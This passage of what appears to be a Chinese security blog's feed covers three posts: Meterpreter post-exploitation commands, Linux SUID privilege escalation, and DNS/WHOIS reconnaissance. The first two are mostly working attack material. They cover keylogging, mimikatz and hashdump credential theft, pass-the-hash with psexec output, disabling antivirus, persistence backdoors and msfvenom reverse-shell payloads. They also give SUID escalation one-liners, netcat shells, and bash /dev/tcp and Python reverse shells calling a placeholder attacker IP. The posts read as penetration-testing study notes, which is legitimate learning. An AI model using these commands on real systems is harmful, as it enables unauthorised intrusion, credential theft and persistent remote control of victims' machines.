文件，若有此类文件，则返回其路径和其大小。</li></ul><p><strong>edit 命令</strong></p><p>调用 vi 编辑器，对目标主机上的文件修改</p><h4 id="3网络命令"><a class="markdownIt-Anchor" href="#3网络命令">#</a> 3. 网络命令</h4><p>ipconfig/ifconfig# 显示网络接口的关键信息，包括 IP 地址</p><p><strong>portfwd -h</strong></p><p>用法：portfwd [-h] [add | delete | list | flush] [args]</p><ul><li>选项：</li><li>-L 要监听的本地主机（可选）</li><li>-h 帮助横幅</li><li>-l 要监听的本地端口</li><li>-p 连接到的远程端口</li><li>-r 要连接到的远程主机</li></ul><p>portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发，本机监听 4444, 把目标机 3389 转到本机 4444</p><p>netstat -an | grep“4444&quot; #查看指定端口开放情况</p><p>rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用 rdesktop 来连接桌面，-u 用户名 -p 密码</p><p>rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接</p><p>route# 查看或修改受害者路由表</p><p>route add 192.168.1.0 255.255.255.0 1 #添加动态路由</p><p>route print #路由表输出</p><p>runget_local_subnets #目标主机的内网 IP 段情况</p><p>Arp    #看 ARP 缓冲表</p><p>Getproxy   #获取代理</p><h4 id="4键盘监听"><a class="markdownIt-Anchor" href="#4键盘监听">#</a> 4. 键盘监听</h4><p><strong>keyscan_start：开启键盘记录功能</strong></p><p><strong>keyscan_dump：显示捕捉到的键盘记录信息</strong></p><p><strong>keyscan_stop：停止键盘记录功能</strong></p><p>uictl enable keyboard/mouse# 接管目标主机的键盘和鼠标。</p><p>meterpreter &gt; keyscan_start #针对远程目标主机开启键盘记录功能</p><p>Starting the keystroke sniffer…</p><p>meterpreter &gt; keyscan_dump #存储目标主机上捕获的键盘记录</p><p>Dumping captured keystrokes…</p><p>dir <Return> cd<Ctrl> <LCtrl></LCtrl></Ctrl></Return></p><p>meterpreter &gt; keyscan_stop #停止针对目标主机的键盘记录</p><p>Stopping the keystroke sniffer…</p><h4 id="5系统命令"><a class="markdownIt-Anchor" href="#5系统命令">#</a> 5. 系统命令</h4><p>reboot# 重新启动受害人的计算机</p><p>reg# 与受害人的注册表进行交互</p><p>rev2self# 回到控制目标主机的初始用户账户下</p><p><strong>shell# 获得控制台权限</strong></p><p>shutdown# 关闭了受害者的计算机</p><p><strong>sysinfo # 查看目标机系统信息，如机器名，操作系统等</strong></p><p>add_user username password -h ip  #在远程目标主机上添加一个用户</p><p>add_group_user “Domain Admins” username -h ip  #将用户添加到目标主机的域管理员组中</p><h4 id="6mimikatz"><a class="markdownIt-Anchor" href="#6mimikatz">#</a> 6.mimikatz</h4><p>meterpreter &gt; load mimikatz #加载 mimikatz</p><p>meterpreter &gt; msv #获取 hash 值</p><p>meterpreter &gt; kerberos #获取明文</p><p>meterpreter &gt;ssp  #获取明文信息</p><p>meterpreter &gt; wdigest #获取系统账户信息</p><p>meterpreter &gt;mimikatz_command -f a::  #必须要以错误的模块来让正确的模块显示</p><p>meterpreter &gt;mimikatz_command -f hash::  #获取目标 hash</p><p>meterpreter &gt; mimikatz_command -f samdump::hashes</p><p>meterpreter &gt; mimikatz_command -f sekurlsa::searchPasswords</p><h4 id="7网络嗅探"><a class="markdownIt-Anchor" href="#7网络嗅探">#</a> 7. 网络嗅探</h4><p>meterpreter &gt; use sniffer # 加载嗅探模块</p><p>Loading extension sniffer…success.</p><p>meterpreter &gt; sniffer_interfaces #列出目标主机所有开放的网络接口</p><p>1 - ‘WAN Miniport (Network Monitor)’ ( type:3 mtu:1514 usable:true dhcp:false wifi:false )</p><p>2 - ‘Intel® PRO/1000 MT Desktop Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:false )</p><p>3 - ‘Cisco Systems VPN Adapter’ ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )</p><p>meterpreter &gt; sniffer_start 2 #获取正在实施嗅探网络接口的统计数据</p><p>[*] Capture started on interface 2 (50000 packet buffer)</p><p>meterpreter &gt; sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探</p><p>[*] Flushing packet capture buffer for interface 2…</p><p>[*] Flushed 1176 packets (443692 bytes)</p><p>[*] Downloaded 100% (443692/443692)…</p><p>[*] Download completed, converting to PCAP…</p><p>[*] PCAP file written to /tmp/test2.cap</p><p>meterpreter &gt; sniffer_stop  2  #停止嗅探</p><h4 id="8获取敏感信息"><a class="markdownIt-Anchor" href="#8获取敏感信息">#</a> 8. 获取敏感信息</h4><p>run post/windows/gather/checkvm #是否虚拟机</p><p>run post/windows/gather/enum_applications #获取安装软件信息</p><p>run post/windows/gather/dumplinks  #获取最近的文件操作</p><p>run post/windows/gather/enum_ie #获取 IE 缓存</p><p>run post/windows/gather/enum_chrome  #获取 Chrome 缓存</p><p>run scraper           #获取常见信息</p><h4 id="9获取hash"><a class="markdownIt-Anchor" href="#9获取hash">#</a> 9. 获取 Hash</h4><p>使用 “hashdump” 命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件，获取目标主机的账号密码 hash 信息</p><p><code>meterpreter &gt; run post/windows/gather/smart_hashdump</code></p><h4 id="10通过hash获取权限"><a class="markdownIt-Anchor" href="#10通过hash获取权限">#</a> 10. 通过 Hash 获取权限</h4><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; use exploit/windows/smb/psexec</span><br><span class="line">msf exploit(psexec) &gt; show options   </span><br><span class="line"></span><br><span class="line">Module options (exploit/windows/smb/psexec):   </span><br><span class="line"></span><br><span class="line">Name       Current Setting  Required  Description</span><br><span class="line">-------------------  --------  -----------</span><br><span class="line">RHOST                       <span class="built_in">yes</span>       The target address</span><br><span class="line">RPORT      445              <span class="built_in">yes</span>       Set the SMB service port</span><br><span class="line">SHAREADMIN$           <span class="built_in">yes</span>       The share to connect to, can be an admi                                              n share</span><br><span class="line"></span><br><span class="line">(ADMIN$,C$,...) or a normal <span class="built_in">read</span>/write folder share</span><br><span class="line"></span><br><span class="line">SMBDomainWORKGROUP        no        The Windows domain to use <span class="keyword">for</span> authentication</span><br><span class="line">SMBPass                     no        The password <span class="keyword">for</span> the specified username</span><br><span class="line">SMBUser                     no        The username to authenticate as   </span><br><span class="line"></span><br><span class="line">Exploit target:   </span><br><span class="line">Id  Name</span><br><span class="line">--  ----</span><br><span class="line">0   Automatic   </span><br><span class="line">msf exploit(psexec) &gt; <span class="built_in">set</span> RHOST 192.168.0.254</span><br><span class="line">RHOST =&gt; 192.168.0.254</span><br><span class="line">msf exploit(psexec) &gt; <span class="built_in">set</span> SMBUser isosky</span><br><span class="line">SMBUser =&gt; isosky</span><br><span class="line">msf exploit(psexec) &gt; <span class="built_in">set</span> SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537   </span><br><span class="line"></span><br><span class="line">SMBPass =&gt; 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537</span><br><span class="line"></span><br><span class="line">msf exploit(psexec) &gt; exploit</span><br><span class="line"></span><br><span class="line">[*] Started reverse handler on 192.168.0.3:4444</span><br><span class="line">[*] Connecting to the server...</span><br><span class="line">[*] Authenticating to 192.168.0.254:445|WORKGROUP as user <span class="string">&#x27;isosky&#x27;</span>...</span><br><span class="line">[*] Uploading payload...</span><br><span class="line">[*] Created \UGdecsam.exe...</span><br><span class="line">[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...</span><br><span class="line">[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...</span><br><span class="line">[*] Obtaining a service manager handle...</span><br><span class="line">[*] Creating a new service (MZsCnzjn - <span class="string">&quot;MrZdoQwIlbBIYZQJyumxYX&quot;</span>)...</span><br><span class="line">[*] Closing service handle...</span><br><span class="line">[*] Opening service...</span><br><span class="line">[*] Starting the service...</span><br><span class="line">[*] Removing the service...</span><br><span class="line">[*] Closing service handle...</span><br><span class="line">[*] Deleting \UGdecsam.exe...</span><br><span class="line">[*] Sending stage (749056 bytes) to 192.168.0.254</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.0.3:4444 -&gt; 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800</span><br></pre></td></tr></table></figure></div><h4 id="12得到远程桌面"><a class="markdownIt-Anchor" href="#12得到远程桌面">#</a> 12. 得到远程桌面</h4><p>run vnc</p><h4 id="13权限提升"><a class="markdownIt-Anchor" href="#13权限提升">#</a> 13. 权限提升</h4><p>使用 “<strong>getuid</strong>” 获得当前的权限，<strong>migrate+PID 迁移进程</strong>（当我们攻击一个系统是，常常是对像是 IE 之类的服务漏洞进行利用的，可是不免有对方关闭 IE 的情况，那么我们的 meterpreter 会话将会关闭，从而导致与目标系统失去连接，所以我们可以使用迁移进程后的攻击模块，将 sessions 迁移到内存空间中的其他稳定的、不会被关闭的服务进程中，以维持稳定的系统控制），从列表中看到 PID 为 500 的是 administrator 权限，所以是迁移到 administrator 的权限，“<strong>getsystem –h</strong>” 升级为权限 SYSTEM 账户。这个模块可以用来提升我们的特权，有四个技巧。Meterpreter 自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了 system 权限了。</p><p>ps# 列出正在运行的进程</p><p>kill pid # 杀死进程</p><p>migrate pid # 将 Meterpreter 会话移植到进程数为 pid 的进程中，需要注意的是如果存在杀软的话可能会阻止进程注入，所以把会话进程注入到 svchost.exe 是一个好方法</p><p>getprivs# 尽可能获取尽可能多的特权</p><p><strong>getuid #获得当前的权限</strong></p><p>getsystem #通过各种攻击向量将一个管理帐户（通常为本地 Administrator 账户）提升为本地 SYSTEM 帐户</p><p>getsystem –h #升级权限 SYSTEM 账户</p><p>使用 MS14-058 之类的 Exp 进行提权:</p><p>meterpreter &gt; background</p><p>[*] Backgrounding session 3…</p><p>msf exploit(handler) &gt; use exploit/windows/local/ms14_058_track_popup_menu</p><p>msf exploit(ms14_058_track_popup_menu) &gt; set SESSION 3</p><p>use priv# 加载特权提升扩展模块，来扩展 Meterpreter 库</p><h4 id="14socks代理"><a class="markdownIt-Anchor" href="#14socks代理">#</a> 14.SOCKS 代理</h4><p>Metasploit 可以作为一个 SOCKS 代理服务器，具体步骤为首先通过 Metasploit 的某些模块建立会话，就像本章前面介绍的，建立完会话之后，执行 “route add +IP+mask+SID”，然后使用 “use auxiliary/server/socks4a” 命令来使用 sock4a 模块，执行 run 命令 ，socks 便会执行</p><p>然后再在命令行下执行 proxychains 命令，使用代理对目标主机进行扫描，nmap，nc 等都可以</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411170051232.gif" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411170052088.gif" alt="img"></p><h4 id="15运行程序"><a class="markdownIt-Anchor" href="#15运行程序">#</a> 15. 运行程序</h4><p>我们还可以使用 “execute” 命令在目标系统中执行应用程序。这个命令的使用方法如下：</p><ul><li><code>execute -f&lt;file&gt; [Options]</code></li><li>execute -f cmd.exe -i# 执行 cmd.exe 命令并进行交互</li><li>execute -f cmd.exe -i -t# 以所有可用令牌来执行 cmd 命令</li><li>execute -f cmd.exe -i -H -t# 创建新进程 cmd.exe，-H 不可见，-i 交互</li><li>execute -H -i -f cmd.exe</li><li>execute -H -m -d notepad.exe-f wce.exe -a “-o wce.txt”</li></ul><p>运行后它将执行 file 参数所指定的文件。可选参数如下：</p><ul><li>-H：创建一个隐藏进程</li><li>-a：传递给命令的参数</li><li>-i：跟进程进行交互</li><li>-m：从内存中执行</li><li>-t：使用当前伪造的线程令牌运行进程</li><li>-s：在给定会话中执行进程</li><li>-f 执行的程序文件</li><li>-d 在目标主机执行时显示的进程名称（用以伪装）</li><li>-o wce.txt&quot; 是 wce.exe 的运行参数</li></ul><p>更多命令…<a class="link" href="https://www.cnblogs.com/backlion/p/9484949.html">Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="常见脚本"><a class="markdownIt-Anchor" href="#常见脚本">#</a> 常见脚本</h3><p>1.arp_scanner</p><p>利用 arp 进行存活主机扫描</p><p>run arp_scanner-r 192.168.1.0/24</p><p>2.autoroute</p><p>可以添加，删除，显示路由表</p><p>3.checkvm</p><p>可以检测目标是否是虚拟机</p><p>4.credcollect</p><p>收集目标主机上的 hash 等凭证</p><p>5.domain_list_gen</p><p>获取域管理账户列表，并判断当前 session 所在用户是否在列表中</p><p>6.dumplinks</p><p>Link 文件包含时间戳，文件位置，共享名，卷序列号，等。脚本会在用户目录和 office 目录中收集 lnk 文件</p><p>调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息</p><p>命令：run post/windows/gather/dumplinks</p><p>7.duplicate</p><p>再次产生 payload，注入到其他进程或打开新进程并注入其中</p><p>8.enum_chrome</p><p>获取 chrome 中的信息</p><p>9.enum_firefox</p><p>获取 firefox 中的信息，包括 cooikie，历史纪录，书签等</p><p>10.enum_logged_on_users</p><p>列出当前登录的用户</p><p>11.enum_powershell_env</p><p>列出 powershell 和 WSH 的配置文件</p><p>12.enum_putty</p><p>列出 putty 的配置文件</p><p>13.enum_shares</p><p>列出共享及历史共享</p><p>14.enum_vmware</p><p>列出 vmware 的配置文件和产品</p><p>15.event_manager</p><p>可以查询和清理事件日志</p><p>16.file_collector</p><p>搜索符合指定模式的文件</p><p>17.get_application_list</p><p>获取安装的程序列表及版本</p><p>18.getcountermeasure</p><p>列出 HIPS 和 AV 的进程，显示 XP 防火墙规则，并且显示 DEP 和 UAC 策略</p><p>Ps：-k 参数可以杀掉防护软件进程</p><p>19.get_env</p><p>获取所有用户的环境变量</p><p>20.get_filezilla_creds</p><p>获取 filezilla 的登陆凭证</p><p>21.getgui</p><p>可以很方便的开启远程桌面服务，添加用户，端口转发功能</p><p>22.get_local_subnets</p><p>获得本地的子网</p><p>23.get_pidgin_creds</p><p>获取 pidgin 配置文件中的用户名和密码</p><p>24.gettelnet</p><p>同之前开启终端桌面服务的脚本，这个是用来开启 telnet 的</p><p>25.get_valid_community</p><p>获取 SNMP community 字符串</p><p>26.getvncpw</p><p>获取 vnc 密码</p><p>27.hashdump</p><p>同 meterpreter 的内置功能</p><p>28.hostsedit</p><p>操作 hosts 文件</p><p>29.keylogrecorder</p><p>Meterpreter 内置此功能</p><p>30.killav</p><p>关闭防护软件</p><p>31.metsvc</p><p>将 payload 安装为服务</p><ol start="32"><li>migrate</li></ol><p>将 meterpreter 会话移植到另一个进程</p><p>例如反弹的 meterpreter 会话是对方打开了一个你预置特殊代码的 word 文档而产生的，那么对方一旦关闭掉该 word 文档，我们获取到的 meterpreter 会话就会随之关闭，所以把会话进程注入到 explorer.exe 是一个好方法</p><p>可以先用 ps 命令看一下目标主机的 explorer.exe 进程的 pid，我们用 migrate pid 把 meterpreter 会话注入进去</p><p>33 .persistence</p><p>可见建立一个持久性的后门，设置成开机启动</p><ol start="34"><li>service_permissions_escalate</li></ol><p>许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务，然后会搜索已存在 d 服务，找到不安全的文件或配置有问题的文件，用一个 payload 替换掉他，然后会尝试重启服务来运行这个 paylaod，如果重启服务失败，则在下次服务器重启时会执行 payload</p><p>35.vnc</p><p>可以看到远程桌面</p><ol start="36"><li>win32-sshserver</li></ol><p>安装 openssh 服务</p><ol start="37"><li>winenum</li></ol><p>会自动运行多种命令，将命令结果保存到本地</p><h2 id="获取meterpreter"><a class="markdownIt-Anchor" href="#获取meterpreter">#</a> 获取 meterpreter</h2><p>1. 首先生成可执行文件</p><p>root @ kali：〜＃msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o  shell.exe</p><p>2. 启动 msfconsole，监听反连端口</p><p>root @ kali：〜＃msfconsole</p><p>msf&gt;use exploit/multi /handler</p><p>msf exploit（handler）&gt; set  PAYLOAD windows/meterpreter/reverse_tcp</p><p>PAYLOAD =&gt; window /meterpreter/reverse_tcp</p><p>msf exploit（handler）&gt; set LHOST 0.0.0.0</p><p>msf exploit（handler）&gt;set LPORT  444</p><p>msf exploit（handler）&gt;show options</p><p>msf exploit（handler）&gt;exploit</p><hr><p>参考：<a class="link" href="https://www.cnblogs.com/backlion/p/9484949.html">Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><hr><p><a class="link" href="https://web.archive.org/web/20220607215637/https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/">MSFVenom Cheat Sheet - Easy Way To Create Metasploit Payloads | The Dark Source (archive.org) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;meterpreter&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#meterpreter&quot;&gt;#&lt;/a&gt; Meterpreter&lt;/h2&gt;
&lt;h3 id=&quot;reverse_shell&quot;&gt;&lt;a class=&quot;markdownIt-Anc</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>SUID</title>
    <link href="http://example.com/2024/11/15/SUID/"/>
    <id>http://example.com/2024/11/15/SUID/</id>
    <published>2024-11-15T01:51:35.000Z</published>
    <updated>2024-11-19T10:06:45.257Z</updated>
    
    <content type="html"><![CDATA[<h2 id="suid提权"><a class="markdownIt-Anchor" href="#suid提权">#</a> SUID 提权</h2><p>suid (set uid) 是 linux 中的一种特殊权限，suid 可以让调用者以文件拥有者身份运行该文件，所以利用 suid 提权的核心就是运行 root 用户所拥有的 suid 的文件，那么运行该文件的时候就得获得 root 用户的身份了。</p><p>在执行过程中，调用者会暂时获得该文件的所有者权限，且该权限只在程序执行的过程中有效。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod u+s filename #设置suid</span><br><span class="line">chmod u-s filename #去除suid</span><br></pre></td></tr></table></figure></div><p>查找所有配置了 SUID 权限的文件</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -4000 -<span class="built_in">type</span> f -<span class="built_in">exec</span> <span class="built_in">ls</span> -la &#123;&#125; 2&gt;/dev/null \;</span><br></pre></td></tr></table></figure></div><ul><li><p>-type f: 只查找普通文件，排除目录等其他类型的文件</p></li><li><p>-exec ls -la {} 2&gt;/dev/null ;: 对查找到的文件执行 ls -la 命令，2&gt;/dev/null 表示将标准错误输出重定向到 /dev/null，以避免显示不必要的错误信息</p></li><li><p>-perm 匹配权限：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">4000 2000 1000分别表示SUID SGID SBIT</span><br><span class="line">1.普通文件，文件的权限一般三位，777最高文件权限</span><br><span class="line">-perm -0777搜索的就是最高权限的文件rwxrwxrwx</span><br><span class="line">-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件</span><br><span class="line">2.特殊文件，包含权限位置四位，7000为最高，即–s–s–t，同样的方法</span><br><span class="line">-perm -7000搜索的就是最高权限的文件–s–s–t</span><br><span class="line">-perm +7000搜索的只要包含–s–s–t任意一个的文件，–s — —（4000）、— –s —（2000）、— — –t（1000）等</span><br></pre></td></tr></table></figure></div></li></ul><p>有很多赋予 suid 权限的文件可以达到权限提升的效果</p><table><thead><tr><th style="text-align:left">suid 文件</th><th style="text-align:left">提权命令</th></tr></thead><tbody><tr><td style="text-align:left">/usr/bin/bash</td><td style="text-align:left">bash -p</td></tr><tr><td style="text-align:left">/usr/bin/csh</td><td style="text-align:left">csh -b</td></tr><tr><td style="text-align:left">/usr/bin/sh</td><td style="text-align:left">sh -p</td></tr><tr><td style="text-align:left">/usr/bin/ksh</td><td style="text-align:left">ksh -p</td></tr><tr><td style="text-align:left">/usr/bin/zsh</td><td style="text-align:left">zsh</td></tr><tr><td style="text-align:left">/usr/bin/find</td><td style="text-align:left">find /etc/passwd -exec /bin/bash -p ;</td></tr><tr><td style="text-align:left">/usr/bin/awk</td><td style="text-align:left">awk ‘BEGIN {system(&quot;/bin/bash&quot;)}’</td></tr><tr><td style="text-align:left">/usr/bin/man</td><td style="text-align:left">!/bin/bash</td></tr><tr><td style="text-align:left">/usr/bin/more</td><td style="text-align:left">!/bin/bash</td></tr></tbody></table><p>更多利用命令在<a class="link" href="https://gtfobins.github.io/"> GTFOBins <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 可以找到</p><h3 id="find"><a class="markdownIt-Anchor" href="#find">#</a> find</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">find 具有suid权限的filename -exec whoami \; -quit</span><br><span class="line">#root</span><br><span class="line">find 具有suid权限的filename -exec /bin/sh -p \; -quit</span><br><span class="line">#whoami</span><br><span class="line">#root</span><br></pre></td></tr></table></figure></div><p>还有一种差不多的提权方法</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限</span><br><span class="line">touch 1.txt #创建1.txt</span><br><span class="line">/usr/bin/find 1.txt -exec whoami \;</span><br></pre></td></tr></table></figure></div><h4 id="shell"><a class="markdownIt-Anchor" href="#shell">#</a> shell</h4><p>在靶机上：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find user -exec nc -lvp 4444 -e &#x27;/bin/sh&#x27; \;</span><br></pre></td></tr></table></figure></div><p>在攻击机上：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc 靶机ip 4444</span><br></pre></td></tr></table></figure></div><p>反弹 shell</p><p>在靶机上:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find 具有suid权限的filename -exec bash -c &#x27;bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1&#x27; \;</span><br></pre></td></tr></table></figure></div><p>在攻击机上：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvp port</span><br></pre></td></tr></table></figure></div><p>也可以写一个反弹 root 的 shell</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -c &#x27;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;ip&quot;,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#x27;</span><br><span class="line">nc -lvp port</span><br></pre></td></tr></table></figure></div><p>这里也可以结合之前的命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/find 1.txt -exec python -c  &#x27;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;ip&quot;,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#x27; \;</span><br></pre></td></tr></table></figure></div><p>各种提权：<a class="link" href="https://xz.aliyun.com/t/12535?time__1311=GqGxuCitqWq052x%2BxCwr4jxYTb4AhRT3bbD">浅谈 linux suid 提权–先知社区 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;suid提权&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#suid提权&quot;&gt;#&lt;/a&gt; SUID 提权&lt;/h2&gt;
&lt;p&gt;suid (set uid) 是 linux 中的一种特殊权限，suid 可以让调用者以文件拥有者身份运行该文件，所</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>Reconnaissance</title>
    <link href="http://example.com/2024/11/10/Reconnaissance/"/>
    <id>http://example.com/2024/11/10/Reconnaissance/</id>
    <published>2024-11-10T07:19:14.000Z</published>
    <updated>2024-11-11T15:42:31.929Z</updated>
    
    <content type="html"><![CDATA[<h1 id="passive-reconnaissance"><a class="markdownIt-Anchor" href="#passive-reconnaissance">#</a> Passive Reconnaissance</h1><h3 id="whois"><a class="markdownIt-Anchor" href="#whois">#</a> Whois</h3><p><a class="link" href="https://tools.wujingquan.com/whois/">WHOIS 信息查询 - 站长工具 (wujingquan.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>kali 上：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411101522398.png" alt="image-20241110152208318"></p><h3 id="nslookup-and-dig"><a class="markdownIt-Anchor" href="#nslookup-and-dig">#</a> nslookup and dig</h3><table><thead><tr><th>Query type 查询类型</th><th>Result 结果</th></tr></thead><tbody><tr><td>A</td><td>IPv4 Addresses IPv4 地址</td></tr><tr><td>AAAA</td><td>IPv6 Addresses IPv6 地址</td></tr><tr><td>CNAME</td><td>Canonical Name 规范名称</td></tr><tr><td>MX</td><td>Mail Servers 邮件服务器</td></tr><tr><td>SOA</td><td>Start of Authority 授权开始</td></tr><tr><td>TXT</td><td>TXT Records TXT 记录</td></tr></tbody></table><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411101522477.png" alt="image-20241110152247429"></p><h3 id="shodanio"><a class="markdownIt-Anchor" href="#shodanio">#</a> <a class="link" href="http://Shodan.io">Shodan.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></h3><p><a class="link" href="https://www.shodan.io/">Shodan Search Engine <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="dnsdumpster"><a class="markdownIt-Anchor" href="#dnsdumpster">#</a> DNSDumpster</h3><p>dns 记录查询</p><p><a class="link" href="https://dnsdumpster.com/">DNSDumpster.com - dns recon and research, find and lookup dns records <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="summary"><a class="markdownIt-Anchor" href="#summary">#</a> Summary</h3><table><thead><tr><th>目的</th><th>命令行示例</th></tr></thead><tbody><tr><td>查询 WHOIS 记录</td><td><code>whois tryhackme.com</code></td></tr><tr><td>查找 DNS A 记录</td><td><code>nslookup -type=A tryhackme.com</code></td></tr><tr><td>服务器上查找 DNS MX 记录</td><td><code>nslookup -type=MX tryhackme.com 1.1.1.1</code></td></tr><tr><td>查找 DNS TXT 记录</td><td><code>nslookup -type=TXT tryhackme.com</code></td></tr><tr><td>查找 DNS A 记录</td><td><code>dig tryhackme.com A</code>   <code>挖掘 tryhackme.com A</code></td></tr><tr><td>在 DNS 服务器上查找 DNS MX 记录</td><td><code>dig @1.1.1.1 tryhackme.com MX</code></td></tr><tr><td>查找 DNS TXT 记录</td><td><code>dig tryhackme.com TXT</code></td></tr></tbody></table><h1 id="active-reconnaissance"><a class="markdownIt-Anchor" href="#active-reconnaissance">#</a> Active Reconnaissance</h1><p><a class="link" href="https://fc04db.github.io/2024/08/02/Penetration-Test/">Preparation for Penetration Test - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square 